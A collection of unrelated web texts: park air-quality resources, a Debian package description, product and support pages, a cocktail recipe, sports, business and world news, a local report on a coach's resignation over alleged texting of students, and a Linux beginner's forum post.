The NPS monitors air quality at Yellowstone NP. This monitoring was initiated as a study related to snowmobile and snow coach use in the park. Images of the Old Faithful parking area are taken every 15 minutes and provided along with access to current air quality data. Learn more about Yellowstone NP winter vehicle use and air quality.
Cabrillo National Monument Webcam
Cameras have been used to qualitatively monitor emission impacts on visibility since 1996, and webcams began running in late 2007. Images of San Diego Bay and downtown San Diego are collected from the northwest corner of the Visitor Center. The San Bernardino Mountains, about 150 miles away, are visible on clear days. Visit the Cabrillo National Monument homepage to learn more about the National Monument.
Podcasts & Videos
On The Air
Air quality affects all areas of the planet and has become an issue for many National Parks. The National Park Service is working to monitor and understand the impacts of air pollution at National Parks.
Mercury Contamination at Acadia National Park
This short video describes concerns about elevated levels of mercury across Acadia National Park's landscape. Mercury is a toxic heavy metal that builds-up in organisms and magnifies in concentration with each level of the food chain.
Rocky Mountain National Park
Science Behind the Scenes–Air Quality Video
Learn how scientists at Rocky Mountain National Park are studying and monitoring air quality in the park.
Views of the National Park Service - Air Quality Module
Views of the National Parks is an educational tool that presents the natural and scenic resources of our national parks. Haze, ozone, deposition, and toxics are explored in this module about air quality.
Air Quality in Sequoia and Kings Canyon National Parks
English and Spanish versions of this tutorial allow you to learn about smog in the Sierra Nevada, find out what the park is doing to improve air quality, and test your knowledge.
Reactive Nitrogen–Cycling Through the Atmosphere and Ecosystem
Learn about the sources, effects, and consequences of nitrogen deposition in our environment.
Last Updated: December 30, 2016


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Package: picon-domains (2012.05.09-1) [non-free]
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Picon (Personal Images) database of Internet domain logos
"picons" is short for "personal icons". They're small, constrained images used to represent users and domains on the net, organized into databases so that the appropriate image for a given e-mail address can be found. Besides users and domains, there are picons databases for Usenet newsgroups and weather forecasts. The picons are in either monochrome XBM format or color XPM and GIF formats.
These databases have been compiled in hopes of helping make cyberspace a more personable place. With them, software and services can be developed to identify persons on the net by face (or, at least, by institution logo) instead of by a cryptic e-mail address. Software of this kind is for example xfaces and exmh.
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Here you will find all the help and support you might need for your Moog product. Moog Music is a small factory located in the Blue Ridge Mountains in Asheville, North Carolina. So small in fact, that we are happy to help you through any problems or questions you may encounter. If you cannot find your answer here, please call us at (828) 251-0090 or email us at [email protected]. If you need to contact our Service Department please reach out to [email protected] or (828) 251-0090 ext.246.

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text:
Robert Kiyosaki has been in the business of selling books and seminars, taking advantage of the Amway pyramid scheme and endorsements from Oprah Winfrey, and built his way to wealth selling his ideas about investing. A few years ago, he teamed up with perennial mogul Donald Trump to sell more books. Kiyosaki and one of his former companies were recently sued by an adult education program producer and promoting for allegedly failing to pay their agreed fee, and Kiyosaki lost the judgment. His company was ordered to pay the Learning Annex and its founder $23,687,957.21.
The company that was sued has already been inactive, and doesn't have the assets to pay the $23 million. It appears Kiyosaki did a masterful job of protecting his assets; although the guru is presumably wealthy on his own, his other businesses and his personal wealth is protected. He won't have to pay the $23 million. He has declared bankruptcy on behalf of his company that was sued, and the Learning Annex will be set to receive only a small portion of the judgment, most likely whatever assets are left in Kiyosaki's old business.
Declaring bankruptcy carries a stigma. Some might consider it ironic that a man who talks about financial prowess might end up in a supposedly weak position. For an individual, declaring bankruptcy is an opportunity for new start, but it comes at a price. Bankruptcy stays on your credit report for many years and makes it more difficult to build wealth in the future. And there are certainly people who simply make poor decisions with credit to the point where it becomes overwhelming, and the declare bankruptcy because it's easier than finding a way to change the situation.
Because Kiyosaki was able to protect his personal assets from the judgment, bankruptcy for his company is the best business move to make. It's the only choice when faced with a requirement to pay a company far more than what is left in the business. You can be confident, however, that the "few million" left in the company that the Learning Annex will be able to get its hands on represents a small portion of Kiyosaki's overall wealth.
Michael Kitces, a financial planner, noted on Twitter that Kiyosaki did the right thing by leaving a few million in the company. Had he left nothing, the Learning Annex might have worked harder to get to Kiyosaki's wealth in his other businesses or his personal wealth.
Will bankruptcy hurt Kiyosaki's reputation?
Kiyosaki has garnered an army of rabid fans over the years, thanks to his no-nonsense, politically incorrect attitude, easily mistaken for "telling the truth." Cult of personality is an ugly thing, and blindly worshiping a leader is a sure path to closed-mindedness and reduced access to cognitive ability. It's clear that he has inspired many people to look at their finances for the first time, and he has introduced his audience to the idea of building wealth towards financial freedom. By being light on specifics, he has managed to shake off a good portion of criticism.
While society often judges the compulsive shopper who uses bankruptcy to clear credit card debt as someone who is skirting responsibilities and using the system to their advantage, society tends to praise businesses who use bankruptcy to restructure their corporate debt or to maneuver their strategy to take full advantage of what the law makes available. It's a double standard; we want individuals to be responsible for their debt, even when faced with difficult circumstances like unforeseen medical bills or a nasty divorce, but we praise Donald Trump's business acumen despite his four bankruptcies. The individual who files for bankruptcy lives with the negative consequences for years, but the business owners who file for bankruptcy can continue without much damage to their financial reputation.
The bankruptcy won't hurt Robert Kiyosaki's reputation among his fans. If anything will hurt, it's the possibility that he didn't pay his promoter as he agreed to do, and it might make it more difficult for him to find promoters who will work with him in the future. He won't lose any of his rabid fans. That's the benefit of having a cult-like audience. They ignore anything potentially negative.
From a business perspective, declaring bankruptcy is the right move for Kiyosaki to make. You can't deny he dodged a bullet by not needing to personally guarantee the $23 million judgment thanks to great work by his accountants, a friendly judge, and the plantiff's lack of desire to pursue the personal guarantee. I don't see any reason why Kiyosaki's other businesses or his reputation will suffer as a result. The better decision would have been not to enter an agreement with the Learning Annex that he couldn't keep, if that is what happened.
Do you think bankruptcy will hurt or should hurt Kiyosaki's reputation, particularly because he, unlike other business owners who use bankruptcy to their advantage, preach about responsible financial behavior to some extent?
Photo: Casey Serin
Daily Mail
Updated October 12, 2012 and originally published October 11, 2012.


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Maker's Mark Summer Mash Up
Maker's Mark Summer Mash Up
Now here's one deliciously sweet way to beat the heat. Just add Maker's Mark® for some perfect sipping in the summertime.
- 2 parts Maker's Mark® Bourbon
- 1 part DeKuyper® Triple Sec Liqueur
- 1 part orange juice
- 1 part pineapple juice
- 1/4 part grenadine syrup
- Pineapple wedge and cherry for garnish
- Shake well with ice and pour into serving glass.
- Garnish with pineapple wedge and cherry.
Tags: Cocktails, Punches, Triple Sec, Orange Juice, Pineapple Juice, Grenadine Syrup, Pineapples, Cherries, Thirsty


text:
BOSTON – You might be able to hop on one leg across I-93 and survive, but if you attempted that act a second time you're probably ticketed for the loony bid if you're not flattened by a semi first.
The Bruins would be just as nuts to believe they could make it through their upcoming Eastern Conference semifinal series with Philadelphia without getting a major contribution from No. 1 center David Krejci.
After tying linemate Milan Lucic for the team lead with 62 points in the regular season, Krejci registered just a single point – a goal – in Boston's seven-game victory over Montreal in the first round.
To be fair, Lucic struggled to the tune of just two points as well. But when it comes to the line of Lucic, Krejci and Nathan Horton (whose two overtime goals made up for a lack of production almost the entire rest of the series), everything starts with Krejci and his innate ability to create offense with the puck on his stick by anticipating player movement and the defensive response to that activity.
Today at the TD Garden the Bruins held their one and only practice in advance of tomorrow's Game 1 in Philadelphia. The Krejci line was still intact and looking to generate some of the magic the Bruins need to get beyond the second round for the first time since 1992.
"I felt my game was there. I had so many chances, a couple breakaways too," said Krejci, who missed at least two open nets over the last couple games of the Habs series. "If I would bury those, everything would be more perfect. But I'm glad the first round is behind me. Now I'm going to forget about it and get ready for [Saturday]."
While Krejci's aim is to forget this year's first round, last year he enjoyed a playoff run to remember while centering Lucic and Miro Satan. In the first round against Buffalo, he totaled three goals, five points. He then put up a goal and two assists before suffering a season-ending wrist injury in Game 3 against the Flyers.
The Bruins famously lost the next four games without Krejci in the lineup. Sure Dennis Seidenberg and Marco Sturm were also missing, Andrew Ference was battling injury, and Mark Stuart and Marc Savard were rusty after lengthy injury absences. But Krejci's absence was the biggest dagger in the Bruins' hearts.
When you're as deep on the back end as the Flyers – and this year's team, with veterans Andrej Meszaros and Sean O'Donnell forming the third pair, might be even deeper than last year's – you can pretty much cancel out any second- or third-line offense. It's the battle of the top pair vs. the top line that will probably determines these games against Philadelphia.
Despite Bruins head coach Claude Julien's contention that the Bruins are better equipped to live without Krejci this season with an improved Patrice Bergeron and the additions of Chris Kelly, Rich Peverley and Gregory Campbell, none of them can make the Flyers' defense pay the way Krejci can when he's on top of his game.
That's why the coach wasn't about to put all the pressure on Krejci today, but he did predict we'd see a different player in the No. 46 sweater than we witnessed in the first round.
"Well we won the last series. That's one thing," said Julien. "The other thing I'm going to tell you is that I believe in David Krejci. I think David Krejci is going to get better and I think his line's going to be better in this series. Maybe this series here will be better suited for that line as well."
The Bruins power play, which went 0-for-21 against Montreal, obviously also has to produce at least a little for Boston to have a chance. An improved effort to battle in the trenches and better decision-making from Krejci can be a benefit 5-on-5 or on the man-advantage. There are so many aspects of the game that get impacted by Krejci, you can't help but consider the Bruins somewhat lucky for getting past the Habs without him.
Last spring, Lucic bounced back from a two-assist first round to score five times (and add two more assists) against the Flyers. The Bruins are hoping he can duplicate that. But a Lucic resurgence, and a Bruins series victory, will not be possible without Krejci — who all season has talked about performing as a No. 1 center and mostly backed it up — playing the type of hockey that can turn the Bruins' first line into a Mack truck hauling ass down the interstate.


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Desert power projects a central topic at SolarPACES 2009
From 15-18 September, 2009, top experts in business, science and politics will meet in Berlin at the SolarPACES conference, the largest international conference on solar thermal power plants. The central topics include desert power projects, as well as current developments in the field of solar thermal power. The German Aerospace Center (DLR), the leading research institute in this field in Germany, is the host of this year's conference, under the aegis of the Federal Minister for the Environment, Sigmar Gabriel.
According to some recent studies, in the year 2050 more than 15 per cent of electricity used worldwide could be generated by concentrating solar systems. These systems are power plants which concentrate direct solar irradiation and use the heat yield to produce power through a steam turbine and generator. Today, solar thermal power plants already provide over a million people with electricity. Therefore, the market for concentrating solar systems is seen as a very interesting growing market for future renewable power generation. In July, 2009, European energy companies and the Desertec foundation initiated a project to generate power for Europe in North African solar power plants.
The 15th SolarPACES conference, the latest in a long series of international conferences initiated by the SolarPACES Network of the International Energy Agency (IEA) in 1980 is already fully booked out and has achieved record numbers of participants registered. 16 different countries are involved in this Implementing Agreement, working together in the field of solar thermal power generation.
The experts will address the following topics:
On the opening day of SolarPACES, 15 September, 2009, there is a press conference at 10:30 am. You find further information to the press conference in the right column of this page under the topic: "SolarPACES press conference".


text: Khokhloma is one of the most recognizable Russian patterns. Also spelled as hohloma, it is a style of wood painting characterized by floral themes that incorporate gold leaves and red berries. Kitchenware is the main category of items used for this national ornament, including plates, bowls, containers, jugs, and spoons of different sizes.


text:
Girls' happy birthday T-shirt
Prices do not include taxes.
Product Details
Introducing the most personable birthday gift ever, in T-shirt form. Here's how it works... You can have us add her monogram or you can write something on it yourself using your own puff paint or markers. Either way, it'll make a super-awesome present that she'll be able to wear the other 364 days of the year too!
- US customers only: To have this item monogrammed with her full name, please call 800 261 7422.
- Cotton.
- Hand wash.
- Import.
- Sizes 2 and 3 feature glitter instead of sequins.
- Online only.
- Item E8723.


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LONDON (AP) — Britain has revoked five export licenses for equipment destined for Egypt's military and police, the government announced Friday, an implicit criticism of the Arab nation's military crackdown on a wave of unrest that has left dozens dead.
Egypt has been gripped by rallies and street skirmishes since President Mohammed Morsi was driven from power in a coup. In one particularly bloody incident, 51 protesters and three security personnel were killed on July 8 in clashes outside Cairo's Republic Guard Club, where Morsi supporters believed their deposed leader was being held.
"We are deeply concerned about the situation in Egypt and the events which have led to the deaths of protesters," British Business Secretary Vince Cable said in a statement. "The longstanding U.K. position is clear: We will not grant export licenses where we judge there is a clear risk the goods might be used for internal repression."
The five licenses covered components for armored personnel carriers, machine guns, and armored fighting infantry vehicles, along with communications equipment for tanks and licenses for vehicle antennae and radio equipment.
Cable's department said the restrictions did not relate to one specific incident, but rather to a buildup of events and Egyptian authorities' recent actions with regard to crowd control. Cable said Britain had not seen any evidence that British equipment had been used in Egypt's unrest, but that the decision to revoke the licenses was taken on the advice of diplomats.
Morsi's ouster — which followed massive demonstrations against his rule — has heightened international concern over the human rights situation in Egypt. The country's military and police both have a history of using deadly force against protests, particularly since 2011, when massive rallies against the government became a regular feature of the nation's politics.
Under Morsi's rule, the worst violence was meted out to protesters in the city of Port Said, when a large protest against a court ruling led to the deaths of more than 40 residents. At the time, Morsi praised the police, described the protesters as "thugs," and declared a state of emergency.
During the transitional period of military rule in 2011, a large rally organized mostly by Egyptian Coptic Christians outside the state TV building turned violent, leaving 27 dead. Many of those killed were crushed by military armored vehicles speeding through the crowd.
It was unclear exactly why British officials have only now begun to start restricting Egyptian military exports, but the move comes just days after a report from British lawmakers urged the government to exercise more caution in approving applications for the export of arms to countries with authoritarian regimes.
The U.S. has thus far declined to term Morsi's ouster a coup, a designation that would require a suspension in the $1.5 billion in American aid to the country, including $1.3 billion in direct military support. The U.K. has also treaded cautiously, with Foreign Secretary William Hague saying the military's move set a dangerous precedent but stopping short of calling it a coup.
Ben Barry, a senior fellow at the London-based International Institute for Strategic Studies, said he was wary of reading too much into Britain's decision to restrict military exports.
"I don't believe the U.K. has much leverage over the Egyptian military, but it is bound by its arm control regulations to do this sort of thing," he said. "If this was being done by the United States this would have great significance. But is the United Kingdom a major player in events in Egypt? I don't think so."
Sarah El Deeb in Cairo and Raphael Satter in London contributed to this report.


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The first-year boys' basketball head coach of Hamshire-Fannett High School submitted his resignation just a few months into the school year after allegations arose claiming Coach Anthony DeCello had inappropriate contact with a female Hamshire-Fannett student.
DeCello was placed on administrative probation with pay Dec. 2 by principal Jon Burris after a student came forward saying DeCello had "sent her flirtatious text messages, commenting on her appearance and expressing an unprofessional interest in her," states a letter to the State Board of Educator Certification from H-F ISD Superintendent Pamela Morris.
The Examiner filed a public information request seeking information about DeCello's employment Monday, Dec. 5. The request also asked for copies of any and all documents related to the allegations that had been reported to the newspaper, as well as any disciplinary actions taken against DeCello.
The letter goes on further to state that the information given by the student was confirmed in interviews with a number of other female students. And along with the text messages, the student also said DeCello hugged her and kissed on the cheek on one occasion.
As a part of the administrative probation, DeCello was directed not to have any contact with students and also prohibited from attending any H-F ISD activities.
According to student statements that were obtained by the school district, "Friends saw messages from DeCello on (student)'s phone directly. (Student 2) was taken to DeCello's house to watch movie's [sic] with him and (student). I have heard numerous times that DeCello and (student) text and (student) goes to watch movies at his house. Also, I have heard that numerous people heard him call (student) weird names like 'baby,' 'sweet heart,' etc. Also, he has been known to call other girls these weird names."
The statement from the accusing student said, "During (redacted) Coach DeCello starting [sic] texting me and I would text him back. At first it was just about (redacted) then it got to be flirty. Such as telling me I'm pretty and that there was just something about me. He said he wanted to kiss me. We talked on the phone a couple of times, just normal stuff like how was your day? What are you doing? And about the (redacted) team. He would text me he was thinking about me [sic]. He would text me inappropriate stuff but I did text back. In 8th period one day, I went into his classroom and we talked. When I went to leave he hugged me and kissed me on the cheek."
Another student wrote, "(Redacted) called me 'princess,' 'babe,' 'sweetheart.' Called me into his room to 'talk' about the (redacted). Messaged me on Facebook. Tried to get my # [sic] from Facebook. Witnessed him do the same thing if not worse to (redacted)."
Another statement reads, "On Oct. 1, after my SAT I met him at Starbucks for about 20 minutes. He texted [sic] me during my SAT and when I finished I texted [sic] him I finished and we met up in Beaumont in the Kroger shopping center around 12:30 – 1ish [sic]."
A final student statement gathered by H-F ISD officials said "He is [sic] made comments on my statuses on Facebook and also messaged me. He would text me sometimes. One time asking me to bring him lunch because he thought I was working the concession stand for the (redacted). Also had to fold and wash his personal clothes."
As of Sunday, Dec. 11, DeCello submitted his resignation letter to Burris. The letter reads, "I hereby tender to you my resignation, effective immediately, as a teacher/coach with Hamshire-Fannett ISD.
"I have enjoyed my time with H-F ISD, and I am resigning in order to pursue other career opportunities. Thank you. It has been a pleasure working with you."
Morris accepted his resignation the next day.
The Examiner attempted to contact DeCello several times by phone Friday, Dec. 16. When DeCello finally answered, he told a reporter to call back in 30 minutes. During the follow-up call, as requested by DeCello, the reporter's call went to voicemail. The reporter noted DeCello's voicemail message had now been changed. Instead of, "This is Coach D. Leave a message," the new message did not contain any identifying information and simply stated, "Leave a message."
Further calls went straight to voicemail later that day.
[1] http://theexaminer.com/users/jennifer-trahan
[2] http://theexaminer.com/sites/default/files/DeCello.jpg
[3] http://theexaminer.com/stories/news


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PANAMA CITY (AP) — A shootout between suspected Colombian rebels and Panamanian border police at the two countries' border has killed one rebel and left seven captured.
The director of Panama's border agency tells local media that no Panamanian police were injured in the confrontation.
Frank Abrego said Friday that the clash occurred in Panama's southern province of Darien. There have been incursions in that area in the past by guerrillas of the Revolutionary Armed Forces of Colombia.
Abrego says police seized two assault rifles and 20 sacks apparently containing cocaine from the suspects.


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Rockies Top D-backs 7-6, Go Again Tonight
The Colorado Rockies (3-4) opened a three-game series against the defending division champions with a 7-6 win over the Arizona Diamondbacks (5-2) last night in Denver. With the game tied 6-6, Todd Helton hit an RBI double in the eighth, giving the Rockies a 7-6 win. The two teams will be at it again tonight at 6:10 at Coors Field. (TV: Root Sports.)
Official: Friday's Box Score.
Troy Tulowitzki knocked three hits and walked once, and Dexter Fowler and Ramon Hernandez belted their first home runs of the season. Helton's game-winning hit accounted for his third RBI, and it was the 557th double -- 23rd-most all time -- of his career.
Tickets are available tonight's game, and can be purchased by calling (800) 388-ROCK, or click here.


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Chinese manufacturing returned to growth in November for the first time in over a year and the deep downturn in euro zone factories eased slightly, according to business surveys on Monday.
Monday's purchasing managers indexes (PMIs) suggested China, whose economy has misfired this year, is regaining its vigor going into 2013.
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If sustained, it could prove vital for the world economy next year since a meaningful recovery in Europe still looks a long way off.
While the decline among the euro zone's embattled factories eased to an eight-month low in November, the latest PMIs showed the economy is on course for its worst quarter since the depths of early 2009.
Data due from the United States later on Monday is expected to show manufacturing growth slowed slightly in November.
"They could be worse. We're not in a situation where all the manufacturing PMIs are heading downwards," said Philip Shaw, chief economist at Investec in London.
He added the Chinese PMIs were encouraging, although their significance, globally speaking, was unclear.
"They're not a pointer necessarily the rest of the global economy is recovering -- we suspect there is an element of domestically driven growth coming through in the numbers there."
Monday's final reading of HSBC's China manufacturing PMI rose to 50.5 in November from 49.5 in October, the first time since October 2011 the headline number has topped the 50-point growth threshold.
The big emerging economies that have contributed most to global growth in recent years have been sputtering of late, with India expected to post its weakest full-year GDP expansion in a decade and Brazil logging an unexpectedly weak third quarter.
That has left investors once again hoping China will take up the slack, after seven straight quarters of slowing growth.
"There is growing confidence that China's economy bottomed in July-September, with signs of firmer external demand," said Hirokazu Yuihama, a senior strategist at Daiwa Securities.
The euro hit a six-week high and shares rose after the release of Monday's PMIs.
Markit's Eurozone manufacturing PMI rose to 46.2 in November from October's 45.4, though it stayed below the 50 mark dividing growth from contraction for the 16th straight month.
There was little sign of an imminent turnaround, however, with the data merely showing factory activity, new orders and output declining at a slower rate.
"With official data lagging the PMI, the rate of GDP decline is likely to have gathered pace markedly on the surprisingly modest 0.1 percent decline seen in the third quarter," said Chris Williamson, chief economist from survey compiler Markit.
But the PMI appeared to bottom out in July and slowly reviving export demand in markets like the U.S. and China should further help arrest the fall in production and job cuts in euro zone factories, he added.
British manufacturing activity shrank less than expected in November, but the sector remained fragile as orders edged down, a survey found on Monday.
In the United States, the Institute of Supply Management (ISM) index of national factory activity, one of two PMI surveys due on Monday, is expected to decline slightly to 51.3 for November, still above the 50-line, from 51.7 in October.
The most pressing threat to the U.S. economy remains a series of automatic budget cuts and tax hikes due at the end of the year that could plunge the country back into recession, unless opposing politicians can come to a deal to avert it.
As of the weekend, neither side has been willing to yield.
Aside from China, the outlook for other major Asian economies looks uncertain.
Monetary easing by the big developed world central banks has been blamed for pushing up the currencies of countries such as Korea and Taiwan, hampering their export-led recoveries.
South Korea's HSBC/Markit PMI edged up in November, but was still below the key 50-mark for the sixth month in succession.
Taiwan's PMI reading has also been below 50 for six successive months, with the headline number deteriorating to 47.4 in November from 47.8 in October on weakening demand at home and abroad.
India's factory activity has been expanding for over three-and-a-half years, although it remains well below the expansion rate seen in the years before the global financial crisis.
(Editing by Jeremy Gaunt.)


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Arts & Crafts Buffet Sketchup Model
This is a model of the Arts & Crafts Buffet cabinet featured in the October 2010 issue of Popular Woodworking Magazine. This model is "as built" by executive editor Robert W. Lang for the article, and differs slightly from the previous version of this piece. Project design, construction and SketchUp model by Robert W. Lang.
View all of the Woodworking SketchUp Models.
Purchase the October 2010 issue of Popular Woodworking.
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Thought I'd post both topics in 1 thread to cutdown spam.
I. Starting off in Linux:
I'm starting my 2nd box on Linux to teach myself more about the OS, I read tutorials and alot of the "what's the best distro" threads and I think Slackware would be the best to learn more about Linux without having it hold my hand through everything and without becoming suicidal at the same time.
I read the tutorials and command basics, ect (and also looked at some of the posted links), but was wondering if anyone had any recommended sites I might find of interest. I would also like more personalized tips on starting a server and securing it, if possible.
I've noticed alot of the distros carry Perl language programs, is it worth learning the language and using? I am a n00b on the subject, and will surely be doing quite a few Google searches this afternoon.
II. OS Loyalty:
For the second subject, I was wondering if people had certain loyalties towards their OS'. Do people just move to the 'better' ones, or would you rather plug and advertise for a certain one, and help them become the 'better' distro, or w/e?
Not sure how to explain exactly what I mean, but I think you'd get what I'm talking about.
Anyways, all feedback is appreciated as usual.